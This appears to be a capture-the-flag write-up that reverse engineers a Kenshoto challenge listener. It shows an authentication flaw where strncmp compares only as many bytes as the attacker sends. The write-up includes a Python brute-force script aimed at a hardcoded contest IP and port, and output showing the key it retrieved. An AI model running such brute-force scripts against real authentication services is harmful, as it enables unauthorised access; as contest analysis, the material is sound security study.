This executable turns out not to be stripped, which makes it very easy to
find all the standard functions. Notable error condition:
push $LD0804950c ; "ERROR: You *must* specify a pass/key file!\n"
lcall printf@plt
Stuff that loads both the variables "password" and "key"
from the given file:
lcall fgetln@plt
add $0x10, %esp
movl %eax, password
sub $0x08, %esp
leal -0xC(%ebp), %eax
push %eax
pushl -0x4(%ebp)
lcall fgetln@plt
add $0x10, %esp
movl %eax, key
And we see the standard "init" call, the handler ("fehandler") pushed, and the "loop" starts:
push $0x00001167
lcall init
add $0x10, %esp
movl %eax, -0x8(%ebp)
sub $0x08, %esp
push $fehandler
pushl -0x8(%ebp)
lcall loop
This is the classic pattern for the Kenshoto listener service -- port
(4455 decimal) pushed to the init routine, and the handler pushed to the loop.
In the loop, we write out the prompt, and read input. The "readUntil" function
appears to take as arguments a newline (0x0a), a size (0x1f), a buffer (%ebp-0x28), and the socket. It returns the number of bytes read. So we can send anything except newline, up to 0x1f long.
Based on the buffer size vs the size limit, unless readUntil does bad math,
there's no overflow here:
push $0x0A
push $0x1F
leal -0x28(%ebp), %eax
push %eax
pushl 0x8(%ebp)
lcall readUntil
add $0x10, %esp
movl %eax, -0x2C(%ebp)
Next strncmp gets called, and if it returns zero, we get the key sent,
otherwise, we're rejected:
leal -0x28(%ebp), %eax
sub $0x04, %esp
pushl -0x2C(%ebp)
pushl password
push %eax
lcall strncmp@plt
add $0x10, %esp
test %eax, %eax
jnz LC08048c9a
sub $0x04, %esp
push $0x00
pushl key
pushl 0x8(%ebp)
lcall sendMsg
LC08048c9a:
...
As args, strncmp takes the password read from the file and the string read
from the network, and compareithem looking for a match. It also takes
a length -- but instead of taking the length of the password, it uses
the length of the
input from the network. As a result, we only
have to try 255 combinations of possible inputs, each 1 byte long. (Not
256 because new line ends inputs.)
#!/usr/bin/env python
import sys
from socket import *
def brute(testchar):
conn = socket(AF_INET,SOCK_STREAM)
conn.connect(("209.195.0.124",4455))
prompt = conn.recv(1024)
if not 'Authenticate Bitches' in prompt:
print prompt
sys.exit(1)
conn.sendall('%s\n' % (testchar))
answer = conn.recv(1024)
print ord(testchar), answer
for i in range(0,256):
brute(chr(i))
This ran for a little bit and finally spat out:
...
190
Catch you on the flip side...
191 KEY:See! Just like Windows 95!
192
Catch you on the flip side...
...